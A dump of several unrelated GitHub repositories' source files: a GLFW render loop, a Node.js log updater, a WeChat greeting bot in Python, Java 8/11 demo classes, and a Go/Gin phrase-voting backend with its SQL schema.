while(!glfwWindowShouldClose(window)) { // Main loop
Render(); // OpenGL rendering goes here...
glfwSwapBuffers(window); // Swap front and back rendering buffers
glfwPollEvents(); // Poll for events.
}
glfwTerminate(); // Close window and terminate GLFW
exit( EXIT_SUCCESS ); // Exit program
}
| c071f2fc13b0cfa50339ceaed7a8530392c41951 | [
"Markdown",
"C++"
] | 2 | Markdown | Albert-Hanstein/OpenGL-first-steps | a041bea9df1d46c6e7ebf00dfab65f631d2e044d | 6ceba278f2e612c0a66f0622cf19605349e35668 |
refs/heads/master | <file_sep>const fs = require('fs');
exports.updateLogFile = message => {
fs.readFile('./log.txt', (err, logContent) => {
if (err) {
throw err;
}
const lines = logContent.toString().split('\n');
const firstLine = lines[0];
const accessCounterIndex = firstLine.indexOf(':');
const numberOfAccesses = parseInt(firstLine.slice(accessCounterIndex + 2));
lines[0] = `Number of accesses: ${numberOfAccesses + 1}`;
const newLogContent = `${lines.join('\n') + message}\n`;
fs.writeFile('log.txt', newLogContent, err => {
if (err) {
throw err;
}
});
});
};
<file_sep># zenva-nodejs
Node.js for Beginners - Zenva.com
| f0b0bac9b43ab1d029bab605a9069e037ed21711 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | yisus82/zenva-nodejs | 3510f52c3a909cbfe0166fa9f77cba9a4d1107b6 | a71004366b3e79b1190f44e7e060087c8f597ee2 |
refs/heads/master | <repo_name>huyanh10tin/java8andjava11<file_sep>/src/java11/filedemo/File.java
package java11.filedemo;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
public class File {
public static void main(String[] args) throws IOException {
Path path = Files.writeString(Path.of("F:\\test.txt"), "huyanh!");// ghi chuoi huy anh vao File test.txt
String content = Files.readString(Path.of("F:\\test.txt"));
System.out.println(content);// huyanh !
}
}
<file_sep>/src/java11/singlefile/Single.java
package java11.singlefile;
public class Single {
public static void main(String[] args) {
System.out.println("hello world !");
long creditCardNumber = 1234_5678_9012_3456L;
int x2 = 5_2; // OK (decimal literal)
int x4 = 5_______2; // OK (decimal literal)
int x7 = 0x5_2; // OK (hexadecimal literal)
int x9 = 0_52; // OK (octal literal)
int x10 = 05_2; // OK (octal literal)
}
}
<file_sep>/src/java8/innerclass/StaticInnerClass.java
package java8.innerclass;
public class StaticInnerClass {
private Engine engine;
public StaticInnerClass(int weightPounds, int horsePower) {
this.engine = new Engine(horsePower, weightPounds);
}
public double getSpeedMph(double timeSec){
return this.engine.getSpeedMph(timeSec);
}
private static class Engine {
private int horsePower;
private int weightPounds;
private Engine(int horsePower, int weightPounds) {
this.horsePower = horsePower;
this.weightPounds = weightPounds;
}
private double getSpeedMph(double timeSec){
double v = this.horsePower* timeSec/ this.weightPounds;
return v;
}
}
}<file_sep>/src/java8/innerclass/Main.java
package java8.innerclass;
public class Main {
public static void main(String[] args){
Vehicle vehicle = new Vehicle(1,2);
double xx = vehicle.getSpeed(121);
System.out.println(vehicle.getSpeed(1));
Vehicle2 vehicle2 = new Vehicle2(22, 40);
System.out.println(vehicle2.getSpeed(22)); // 80.0
StaticInnerClass in = new StaticInnerClass(10,10);
System.out.println(in.getSpeedMph(2.0));
}
}
<file_sep>/src/java8/innerclass/Vehicle.java
package java8.innerclass;
public class Vehicle {
private int weight;
private Engine engine;
public Vehicle(int weight, int power){
this.weight = weight;
this.engine = new Engine(power);
}
public double getSpeed(double time) {
return this.engine.getSpeed(time);
}
private int getWeight(){
return this.weight;
}
public class Engine {
private int power;
private Engine(int power) {
this.power = power;
}
private double getSpeed(double time) {
var result = 2.0 * this.power * time / getWeight();
return result;
}
}
}
<file_sep>/src/java8/optionaldemo/Optional.java
package java8.optionaldemo;
public class Optional {
public static void main(String[] args) {
/*Optional str = Optional.of(null);*/
/*System.out.println(str.isEmpty());*/
System.out.println(java.util.Optional.ofNullable(null));
String s = "x";
System.out.println(s.repeat(-1));
}
}
<file_sep>/src/java8/innerclass/Anymous2.java
package java8.innerclass;
interface Eat{
void eat();
}
public class Anymous2 {
public static void main(String[] args) {
Eat e = new Eat() {
public void eat() {
System.out.println("eating");
}
};
e.eat(); // eating
}
}
<file_sep>/src/java8/functioninterface/FunctionInterfaceDemo.java
package java8.functioninterface;
@FunctionalInterface
interface Converter<F, T> {
T convert(F from);
}
public class FunctionInterfaceDemo {
public static void main(String[] args) {
Converter<String, Integer> converter = (from) -> Integer.valueOf(from);
Integer converted = converter.convert("123");
System.out.println(converted); // 123
Converter<String, Integer> converter1 = Integer::valueOf;
Integer converted1 = converter.convert("123");
System.out.println(converted1); // 123
}
}
<file_sep>/src/java8/timezone/DemoTimeZone.java
package java8.timezone;
import java.time.LocalDateTime;
import java.time.ZoneId;
import java.time.ZonedDateTime;
public class DemoTimeZone {
public static void main(String[] args) {
ZoneId zoneId = ZoneId.of("Asia/Ho_Chi_Minh");
ZonedDateTime dateTimeWithZone = ZonedDateTime.of(LocalDateTime.now(), zoneId);
System.out.println("Viet name DemoTimeZone :" + dateTimeWithZone);
}
}
<file_sep>/src/java11/stringdemo/StringDemo.java
package java11.stringdemo;
public class StringDemo {
public static void main(String[] args) {
String test = "1 java8 \n2java9 \njava10 \njava11\n";
System.out.println( test.trim());
System.out.println("====================");
System.out.println( test.strip());
Boolean isBlank = test.isBlank();
String result = test.lines().filter(p -> "java11".equals(p)).findFirst().orElse("Not found!");
System.out.println(result); // java11
String test2 = " ";
System.out.println(test2.repeat(2));
System.out.println(test2.isBlank());
System.out.println(test2.isEmpty());
}
}
<file_sep>/src/java8/innerclass/Vehicle2.java
package java8.innerclass;
public class Vehicle2 {
private int weight;
private int power;
public Vehicle2(int weight, int power){
this.weight = weight;
this.power = power;
}
public double getSpeed(double time) {
class Engine {
private int power;
private Engine(int power) {
this.power = power;
}
private double getSpeed(double time) {
var result = 2.0 * this.power * time / getWeight();
return result;
}
}
Engine engine = new Engine(this.power);
return engine.getSpeed(time);
}
private int getWeight(){
return this.weight;
}
}
<file_sep>/src/java8/time/DemoTime.java
package java8.time;
import java.time.*;
import java.time.temporal.ChronoField;
import java.time.temporal.ChronoUnit;
import java.util.concurrent.TimeUnit;
public class DemoTime {
public static void main(String[] args) {
var time = TimeUnit.DAYS.convert(Duration.ofHours(24));
System.out.println(time == 1); // true
System.out.println(TimeUnit.DAYS.convert(Duration.ofHours(26))); // 1
System.out.println(TimeUnit.MINUTES.convert(Duration.ofSeconds(60))); // 1
}
}
| 54130e6205fcb9789253781a68725bfcfcd192cd | [
"Java"
] | 12 | Java | huyanh10tin/java8andjava11 | b971ff9f0d39e2b2db90c907f7c90fbb49e2ed78 | 6fc38c7b38d5e653c657a69ed52bd67e5a718f5d |
refs/heads/master | <file_sep>requests==2.7.0
PyQRCode==1.2.1
pypng==0.0.18
Pillow==3.1.1
<file_sep>#!/usr/bin/env python
# encoding: utf-8
from threading import Thread
from collections import namedtuple
import time
from wxbot import WXBot
MessageInfo = namedtuple("MessageInfo", [
"user", "name", "remark", "sex", "province", "city",
])
conf = {
"response": {
u"中秋快乐": u"同乐同乐",
},
"message": "{info.remark},中秋快乐!"
}
class GreetingBot(WXBot):
def __init__(self):
WXBot.__init__(self)
self.wx_thread = Thread(target=self.run)
self.wx_thread.setDaemon(True)
def handle_msg_all(self, msg):
if msg.get("msg_type_id") != 4: # friends message only
return
content = msg.get("content")
if not content or content.get("type"): # text message only
return
content_data = content.get("data")
for k, i in conf["response"].items():
if k in content_data:
self.send_msg_by_uid(i, msg['user']['id'])
def run_background(self):
self.wx_thread.start()
def greet(self, message_info):
message = conf["message"].format(info=message_info)
try:
for i in range(3):
if self.send_msg(message_info.name, message):
break
except Exception as err:
print err
def get_friend_message(index, contact):
print "NickName:", contact.get("NickName")
print "Sex:", "Man" if contact.get("Sex") == 1 else "Female"
print "RemarkName:", contact.get("RemarkName")
print "Province:", contact.get("Province")
print "City:", contact.get("City")
remark = raw_input("%s enter remark:" % index)
if not remark:
return
if remark.isspace():
remark = contact.get("RemarkName") or contact.get("NickName")
return MessageInfo(
user=contact.get("UserName"), name=contact.get("NickName"),
remark=remark, sex="Man" if contact.get("Sex") == 1 else "Female",
province=contact.get("Province"), city=contact.get("City"),
)
def main():
bot = GreetingBot()
bot.run_background()
time.sleep(10)
index = int(raw_input("login and press enter to continue") or 0)
for i, e in enumerate(bot.contact_list):
if i <= index:
continue
message_info = get_friend_message(i, e)
if not message_info:
continue
bot.greet(message_info)
if __name__ == "__main__":
main()
| 9bab10f6891d6ec668e90034318959c5faeed7d3 | [
"Python",
"Text"
] | 2 | Text | MrLYC/wx-greeting | 0275564eed986c8b7b071d12867208c40f246a07 | 0c4c459ea03eef33eec915f86ca351e43048a6c3 |
refs/heads/master | <file_sep>package main
import (
"flag"
"fmt"
"github.com/YiniXu9506/devconG/log"
"github.com/YiniXu9506/devconG/service"
"github.com/YiniXu9506/devconG/utils"
"github.com/fsnotify/fsnotify"
"github.com/gin-contrib/cors"
"github.com/gin-contrib/pprof"
ginzap "github.com/gin-contrib/zap"
"github.com/gin-gonic/gin"
"github.com/spf13/viper"
"go.uber.org/zap"
)
var config *viper.Viper
var configFileName = flag.String("f", "config", "customize the filename.")
var hostName = flag.String("h", "127.0.0.1", "Connect to host.")
var port = flag.Int("P", 4000, "the database ports.")
var cloudHostName = flag.String("ch", "", "Connect to host.")
var cloudPort = flag.Int("CP", 0, "the database ports.")
var serverPort = flag.Int("l", 8080, "Port number listenling.")
func initConfigure(configFileName string) *viper.Viper {
v := viper.New()
v.SetConfigName(configFileName) // name of config file (without extension)
v.SetConfigType("json") // REQUIRED if the config file does not have the extension in the name
v.AddConfigPath("./") // path to look for the config file in
if err := v.ReadInConfig(); err != nil {
if _, ok := err.(viper.ConfigFileNotFoundError); ok {
panic(" Config file not found; ignore error if desired")
} else {
panic("Config file was found but another error was produced")
}
}
// viper runs each time a change occurs.
v.WatchConfig()
v.OnConfigChange(func(e fsnotify.Event) {
fmt.Println("Config file changed:", e.Name)
})
return v
}
func init() {
// initial log
log.SetLogs(zap.InfoLevel, log.LOGFORMAT_CONSOLE, "./server.log")
}
func main() {
flag.Parse()
config = initConfigure(*configFileName)
r := gin.New()
r.Use(cors.Default())
pprof.Register(r)
r.Use(cors.Default())
//r.Use(ginzap.Ginzap(zap.L(), time.RFC3339, true))
r.Use(ginzap.RecoveryWithZap(zap.L(), true))
dbs := utils.TiDBConnect(*hostName, *port, *cloudHostName, *cloudPort)
service := service.NewService(dbs, config)
service.Start(r)
r.Run(fmt.Sprintf(":%d", *serverPort))
}
<file_sep>package model
// table `phrase_click_model` schema
type PhraseClickModel struct {
ID int `gorm:"primaryKey" json:"id"`
PhraseID int `gorm:"index:idx_phrase_click" json:"phrase_id"`
GroupID int `gorm:"index:idx_phrase_click" json:"group_id"`
OpenID string `json:"open_id"`
Clicks int `gorm:"index:idx_phrase_click" json:"clicks"`
ClickTime int64 `json:"click_time"`
}
// table `phrase_model` schema
type PhraseModel struct {
PhraseID int `gorm:"primaryKey" json:"phrase_id"`
Text string `gorm:"uniqueIndex:text;size:60" json:"text"`
GroupID int `json:"group_id"`
OpenID string `json:"open_id"`
Status int `gorm:"index" json:"status"`
CreateTime int64 `json:"create_time"`
UpdateTime int64 `json:"update_time"`
}
type UserModel struct {
OpenID string `gorm:"primaryKey" json:"open_id" binding:"required"`
NickName string `json:"nick_name"`
Sex int `json:"sex"`
Province string `json:"province"`
City string `json:"city"`
HeadImgURL string `json:"headimgurl"`
}
<file_sep> CREATE TABLE `phrase_click_models` (
`id` bigint(20) NOT NULL /*T![auto_rand] AUTO_RANDOM(5) */,
`group_id` bigint(20) DEFAULT NULL,
`open_id` longtext DEFAULT NULL,
`phrase_id` bigint(20) DEFAULT NULL,
`clicks` bigint(20) DEFAULT NULL,
`click_time` bigint(20) DEFAULT NULL,
PRIMARY KEY (`id`) /*T![clustered_index] CLUSTERED */,
KEY `idx_phrase_clicks` (`phrase_id`,`group_id`,`clicks`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin /*T![auto_rand_base] AUTO_RANDOM_BASE=6510002 */
CREATE TABLE `phrase_models` (
`phrase_id` bigint(20) NOT NULL /*T![auto_rand] AUTO_RANDOM(5) */,
`text` varchar(60) DEFAULT NULL,
`group_id` bigint(20) DEFAULT NULL,
`open_id` longtext DEFAULT NULL,
`status` bigint(20) DEFAULT NULL,
`create_time` bigint(20) DEFAULT NULL,
`update_time` bigint(20) DEFAULT NULL,
PRIMARY KEY (`phrase_id`) /*T![clustered_index] CLUSTERED */,
UNIQUE KEY `text` (`text`),
KEY `idx_phrase_models_status` (`status`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin /*T![auto_rand_base] AUTO_RANDOM_BASE=4855472 */
CREATE TABLE `user_models` (
`open_id` varchar(191) NOT NULL,
`nick_name` longtext DEFAULT NULL,
`sex` bigint(20) DEFAULT NULL,
`province` longtext DEFAULT NULL,
`city` longtext DEFAULT NULL,
`head_img_url` longtext DEFAULT NULL,
PRIMARY KEY (`open_id`) /*T![clustered_index] NONCLUSTERED */
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin
/* reset sql mode to fix mysql命令gruop by报错this is incompatible with sql_mode=only_full_group_by
参考:https://blog.csdn.net/yalishadaa/article/details/72861737
*/
set @@global.sql_mode="STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
SELECT *, sum(clicks) over (partition by gid order by time) as agg_clicks from (SELECT 1 as gid, ceiling(click_time/600)*600 as time, sum(clicks) as clicks FROM phrase_click_models GROUP BY ceiling(click_time/600)) as t WHERE time > UNIX_TIMESTAMP(NOW() - INTERVAL 3 HOUR);<file_sep>package service
import (
"database/sql"
"errors"
"fmt"
"math/rand"
"net/http"
"strconv"
"strings"
"time"
"github.com/YiniXu9506/devconG/model"
"github.com/YiniXu9506/devconG/utils"
"github.com/gin-gonic/gin"
"github.com/go-sql-driver/mysql"
"go.uber.org/zap"
)
type distributionModel struct {
GroupID int `json:"group_id"`
Clicks int `json:"clicks"`
}
type phraseWithDistributionModel struct {
model.PhraseModel
Distributions []distributionModel `json:"distributions"`
}
type topNPhrasesWithDistribution struct {
PhraseID int `json:"phrase_id"`
Text string `json:"text"`
Distributions []distributionModel `json:"distributions"`
}
type PagiInfo struct {
Total int `json:"total"`
Offset int `json:"offset"`
}
type allPhraseResponse struct {
Pagi PagiInfo `json:"pagi"`
List []phraseWithDistributionModel `json:"list"`
}
func phraseDistribution(distributions []distributionModel) []distributionModel {
distributionGroupIDs := make(map[int]bool)
for _, dist := range distributions {
distributionGroupIDs[dist.GroupID] = true
}
for i := 0; i < 5; i++ {
if _, ok := distributionGroupIDs[i+1]; !ok {
var phraseDistribution distributionModel
phraseDistribution.GroupID = i + 1
phraseDistribution.Clicks = 0
distributions = append(distributions, phraseDistribution)
}
}
return distributions
}
var token = "<KEY>"
// return phrases to wechat
func (s *Service) GetScrollingPhrasesHandler(c *gin.Context) {
const defaultLimit = "100"
limit, err := strconv.Atoi(c.DefaultQuery("limit", defaultLimit))
if err != nil {
fmt.Printf("failed to convert string to int")
limit = 100
}
scrollingPhrasesRes := s.phraseCacheProvider.GetScrollingPhrases(limit)
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": scrollingPhrasesRes,
"m": "",
})
}
// add a new phrase
func (s *Service) AddPhraseHandler(c *gin.Context) {
type phraseRequest struct {
Text string `form:"text" json:"text" binding:"required"`
OpenID string `form:"open_id" json:"open_id" binding:"required"`
GroupID int `form:"group_id" json:"group_id" binding:"required"`
}
var req phraseRequest
// bind json
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"c": 2,
"d": "",
"m": "phrase_id, open_id, group_id are required!",
})
return
}
// check text maxium length
isValidate := utils.ValidateText(req.Text)
if !isValidate {
c.JSON(http.StatusBadRequest, gin.H{
"c": 10002,
"d": "",
"m": "Maximum 10 characters",
})
return
}
start := time.Now()
if err := s.db.Table("phrase_models").
Create(&model.PhraseModel{Text: req.Text, OpenID: req.OpenID, GroupID: req.GroupID, Status: 1, CreateTime: time.Now().Unix(), UpdateTime: time.Now().Unix()}).Error; err != nil {
mysqlErr := &mysql.MySQLError{}
if errors.As(err, &mysqlErr) && mysqlErr.Number == 1062 {
c.JSON(http.StatusBadRequest, gin.H{
"c": 10001,
"d": "",
"m": "An existing item already exists",
})
} else {
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
}
return
}
zap.L().Sugar().Infof("add new phrase cost: %v", time.Since(start))
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
}
// update phrase click counts
func (s *Service) UpdateClickedPhraseHandler(c *gin.Context) {
type latestClickedPhraseRequest struct {
PhraseID int `form:"phrase_id" json:"phrase_id" binding:"required"`
Clicks int `form:"clicks" json:"clicks" binding:"required"`
OpenID string `form:"open_id" json:"open_id" binding:"required"`
GroupID int `form:"group_id" json:"group_id" binding:"required"`
}
var req []latestClickedPhraseRequest
// bind json
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"c": 2,
"d": "",
"m": "phrase_id, clicks, open_id and group_id are required!",
})
return
}
// start := time.Now()
for _, phrase := range req {
var phraseRecord model.PhraseModel
phrase_id := phrase.PhraseID
clicks := phrase.Clicks
open_id := phrase.OpenID
group_id := phrase.GroupID
// check validation of phrase in phrase_models
phraseRecordRe := s.db.Table("phrase_models").Where("phrase_id = ? AND status = ?", phrase_id, 2).Find(&phraseRecord)
if phraseRecordRe.Error != nil {
zap.L().Sugar().Error("Error! Check validation of phrase in phrase_models:", phraseRecordRe.Error)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": phraseRecordRe.Error.Error(),
})
return
}
// if find the reviewed phrase exist in phrase_models, then insert the click stats
if phraseRecordRe.RowsAffected > 0 {
if err := s.db.Create(&model.PhraseClickModel{PhraseID: phrase_id, Clicks: clicks, OpenID: open_id, GroupID: group_id, ClickTime: time.Now().Unix()}).Error; err != nil {
zap.L().Sugar().Error("Error! Failed to update phrase click model: ", err)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
return
}
}
}
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
}
func (s *Service) AddUserHandler(c *gin.Context) {
var req model.UserModel
// bind json
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"c": 2,
"d": "",
"m": "open_id is required!",
})
return
}
if err := s.db.Table("user_models").
Create(&model.UserModel{OpenID: req.OpenID, NickName: req.NickName, Sex: req.Sex, Province: req.Province, City: req.City, HeadImgURL: req.HeadImgURL}).Error; err != nil {
mysqlErr := &mysql.MySQLError{}
if errors.As(err, &mysqlErr) && mysqlErr.Number == 1062 {
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
} else {
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
}
return
}
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
}
// get all phrases
func (s *Service) GetAllPhrasesHandler(c *gin.Context) {
reqToken := c.Request.Header.Get("token")
if reqToken != token {
c.JSON(http.StatusOK, gin.H{
"c": -1,
"d": "",
"m": "invalid token",
})
return
}
defaultLimit := "50"
defaultOffset := "0"
defaultStatus := "1,2"
limit, _ := strconv.Atoi(c.DefaultQuery("limit", defaultLimit))
offset, _ := strconv.Atoi(c.DefaultQuery("offset", defaultOffset))
status := c.DefaultQuery("status", defaultStatus)
var statusMap [3]interface{}
str := strings.Split(status, ",")
for i := 0; i < 3; i++ {
if i < len(str) {
statusMap[i] = str[i]
} else {
statusMap[i] = 0
}
}
var phraseList []model.PhraseModel
var distributions []distributionModel
var allPhrasesWithDistributions []phraseWithDistributionModel
var allPhrasesResp allPhraseResponse
var phraseTotalCount int
start := time.Now()
// get total counts of phrases
if err := s.db.Table("phrase_models").
Select("count(*)").
Where("status = @status1 OR status = @status2 OR status = @status3", sql.Named("status1", statusMap[0]), sql.Named("status2", statusMap[1]), sql.Named("status3", statusMap[2])).
Find(&phraseTotalCount).Error; err != nil {
zap.L().Sugar().Error("Error! Get total counts of phrases: ", err)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
return
}
// get phrases with limit and offset
if err := s.db.Table("phrase_models").
Where("status = @status1 OR status = @status2 OR status = @status3", sql.Named("status1", statusMap[0]), sql.Named("status2", statusMap[1]), sql.Named("status3", statusMap[2])).
Order("create_time desc").
Limit(limit).
Offset(offset).
Find(&phraseList).Error; err != nil {
zap.L().Sugar().Error("Error! Get phrases with limit and offset: ", err)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
return
}
allPhrasesResp.Pagi.Total = phraseTotalCount
allPhrasesResp.Pagi.Offset = offset
for _, phrase := range phraseList {
var phraseWithDistribution phraseWithDistributionModel
// get all phrases from phrase_models
if err := s.db.Table("phrase_click_models").
Select("group_id, SUM(clicks) as clicks").
Where("phrase_id = @phrase_id", sql.Named("phrase_id", phrase.PhraseID)).
Group("group_id").
Find(&distributions).Error; err != nil {
zap.L().Sugar().Error("Error! Get all phrases from phrase_models: ", err)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
return
}
phraseWithDistribution.PhraseID = phrase.PhraseID
phraseWithDistribution.Text = phrase.Text
phraseWithDistribution.GroupID = phrase.GroupID
phraseWithDistribution.OpenID = phrase.OpenID
phraseWithDistribution.Status = phrase.Status
phraseWithDistribution.CreateTime = phrase.CreateTime
phraseWithDistribution.UpdateTime = phrase.UpdateTime
phraseWithDistribution.Distributions = phraseDistribution(distributions)
allPhrasesWithDistributions = append(allPhrasesWithDistributions, phraseWithDistribution)
}
zap.L().Sugar().Infof("get all phrases cost: %v", time.Since(start))
allPhrasesResp.List = allPhrasesWithDistributions
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": allPhrasesResp,
"m": "",
})
}
// get top-N phrases
func (s *Service) GetTopNPhrasesHandler(c *gin.Context) {
defaultLimit := "5"
limit, _ := strconv.Atoi(c.DefaultQuery("limit", defaultLimit))
type topPhraseID struct {
PhraseID int `json:"phrase_id"`
Clicks int `json:"clicks"`
}
type textModel struct {
Text string `json:"text"`
}
var topPhraseIDs []topPhraseID
var topNPhrasesWithDistributions []topNPhrasesWithDistribution
start := time.Now()
// get top N phrases, which are reviewed
if err := s.db.Raw("SELECT sum(clicks) as clicks, a.phrase_id FROM phrase_models as a INNER JOIN phrase_click_models as b ON a.phrase_id = b.phrase_id and a.status = 2 group by a.phrase_id order by clicks desc limit @limit", sql.Named("limit", limit)).
Find(&topPhraseIDs).Error; err != nil {
zap.L().Sugar().Error("Error! Get top N phrases, which are reviewed: ", err)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
return
}
for _, phrase := range topPhraseIDs {
var distributions []distributionModel
var topPhraseText textModel
var phraseWithDistribution topNPhrasesWithDistribution
// get top N phrases from phrase_models
if err := s.db.Table("phrase_click_models").
Select("group_id, SUM(clicks) as clicks").
Where("phrase_id = ?", phrase.PhraseID).
Group("group_id").
Find(&distributions).Error; err != nil {
zap.L().Sugar().Error("Error! Get top N phrases from phrase_models: ", err)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
return
}
// get text of top N phrases from phrase_models
if err := s.db.Table("phrase_models").
Select("text").
Where("phrase_id = ?", phrase.PhraseID).
Find(&topPhraseText).Error; err != nil {
zap.L().Sugar().Error("Error! Get text of top N phrases from phrase_models: ", err)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
return
}
phraseWithDistribution.PhraseID = phrase.PhraseID
phraseWithDistribution.Text = topPhraseText.Text
phraseWithDistribution.Distributions = phraseDistribution(distributions)
topNPhrasesWithDistributions = append(topNPhrasesWithDistributions, phraseWithDistribution)
}
zap.L().Sugar().Infof("get top phrase cost: %v", time.Since(start))
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": topNPhrasesWithDistributions,
"m": "",
})
}
// delete phrase by change status to 3
func (s *Service) DeletePhraseHandler(c *gin.Context) {
reqToken := c.Request.Header.Get("token")
if reqToken != token {
c.JSON(http.StatusOK, gin.H{
"c": -1,
"d": "",
"m": "invalid token",
})
return
}
type phraseIDRequest struct {
PhraseID int `form:"id" json:"id" binding:"required"`
}
var req phraseIDRequest
// var deletePhrase model.PhraseModel
if err := c.ShouldBind(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"c": 2,
"d": "",
"m": "phrase_id is required!",
})
return
}
start := time.Now()
deletePhraseRes := s.db.Table("phrase_models").
Where("phrase_id = ?", req.PhraseID).
Updates(map[string]interface{}{"status": 3, "update_time": time.Now().Unix()})
if deletePhraseRes.Error != nil {
zap.L().Sugar().Error("Error! Delete phrase: ", deletePhraseRes.Error)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": deletePhraseRes.Error.Error(),
})
return
}
if deletePhraseRes.RowsAffected == 0 {
c.JSON(http.StatusBadRequest, gin.H{
"c": 11001,
"d": "",
"m": "Nonexistent",
})
return
}
zap.L().Sugar().Infof("delete phrase cost: %v", time.Since(start))
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
}
// update phrase text or status
func (s *Service) PatchPhraseHandler(c *gin.Context) {
reqToken := c.Request.Header.Get("token")
if reqToken != token {
c.JSON(http.StatusOK, gin.H{
"c": -1,
"d": "",
"m": "invalid token",
})
return
}
type patchPhraseReq struct {
PhraseID int `form:"id" json:"id" binding:"required"`
Text string `form:"text" json:"text"`
Status int `form:"status" json:"status"`
}
var req patchPhraseReq
var row model.PhraseModel
if err := c.ShouldBind(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"c": 2,
"d": "",
"m": "phrase_id is required!",
})
return
}
// check whether the phrase exist or not
phraseRes := s.db.Table("phrase_models").Where("phrase_id = ?", req.PhraseID).Find(&row)
if phraseRes.Error != nil {
zap.L().Sugar().Error("Error! Get phrase to update its text or status", phraseRes.Error)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": phraseRes.Error.Error(),
})
return
}
if phraseRes.RowsAffected == 0 {
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "This phrase does not exist",
})
return
}
isValidate := utils.ValidateText(req.Text)
// update text of phrase
updates := make(map[string]interface{})
if isValidate {
updates["text"] = req.Text
updates["update_time"] = time.Now().Unix()
}
// update status of phrase
if req.Status > 0 && req.Status <= 3 {
updates["status"] = req.Status
updates["update_time"] = time.Now().Unix()
}
if len(updates) > 0 {
if err := s.db.Table("phrase_models").
Where("phrase_id = ?", req.PhraseID).
Updates(updates).Error; err != nil {
zap.L().Sugar().Error("Error! Update phrase text or status", err)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
return
}
}
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
}
// batch update reviewed phrase
func (s *Service) PatchBatchPhraseHandler(c *gin.Context) {
reqToken := c.Request.Header.Get("token")
if reqToken != token {
c.JSON(http.StatusOK, gin.H{
"c": -1,
"d": "",
"m": "invalid token",
})
return
}
type batchReviewPhraseReq struct {
PhraseID []int `form:"ids" json:"ids" binding:"required"`
Status int `form:"status" json:"status" binding:"required"`
}
var req batchReviewPhraseReq
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"c": 2,
"d": "",
"m": "phrase_id and status are required!",
})
return
}
// batch review phrase
selectPhrasesWithStatus := 1
updateStatusTo := 2
// batch delete pharse
if req.Status == 3 {
selectPhrasesWithStatus = 2
updateStatusTo = 3
}
if req.Status == 2 || req.Status == 3 {
if err := s.db.Table("phrase_models").Where("status = ? AND phrase_id IN ?", selectPhrasesWithStatus, req.PhraseID).Updates(map[string]interface{}{"status": updateStatusTo, "update_time": time.Now().Unix()}).Error; err != nil {
zap.L().Sugar().Error("Error! Update phrase text or status", err)
c.JSON(http.StatusInternalServerError, gin.H{
"c": 1,
"d": "",
"m": err.Error(),
})
return
}
}
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": "",
"m": "",
})
}
// get phrase font-size and speed
func (s *Service) GetH5SettingHandler(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{
"c": 0,
"d": s.config.AllSettings(),
"m": "",
})
}
func (s *Service) TestPhrasePostHandler(c *gin.Context) {
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
str := make([]byte, 10)
for i := range str {
str[i] = letterBytes[rand.Intn(len(letterBytes))]
}
type phrase struct {
Text string `json:"text"`
OpenID string `json:"open_id"`
GroupID int `json:"group_id"`
}
newPhrase := phrase{
Text: string(str),
GroupID: rand.Intn(5) + 1,
OpenID: fmt.Sprintf("%d", (rand.Intn(5)+1)*100),
}
// start := time.Now()
if err := s.db.Table("phrase_models").
Create(&model.PhraseModel{Text: newPhrase.Text, OpenID: newPhrase.OpenID, GroupID: newPhrase.GroupID, Status: rand.Intn(3) + 1, CreateTime: time.Now().Unix(), UpdateTime: time.Now().Unix()}).Error; err != nil {
mysqlErr := &mysql.MySQLError{}
if errors.As(err, &mysqlErr) && mysqlErr.Number == 1062 {
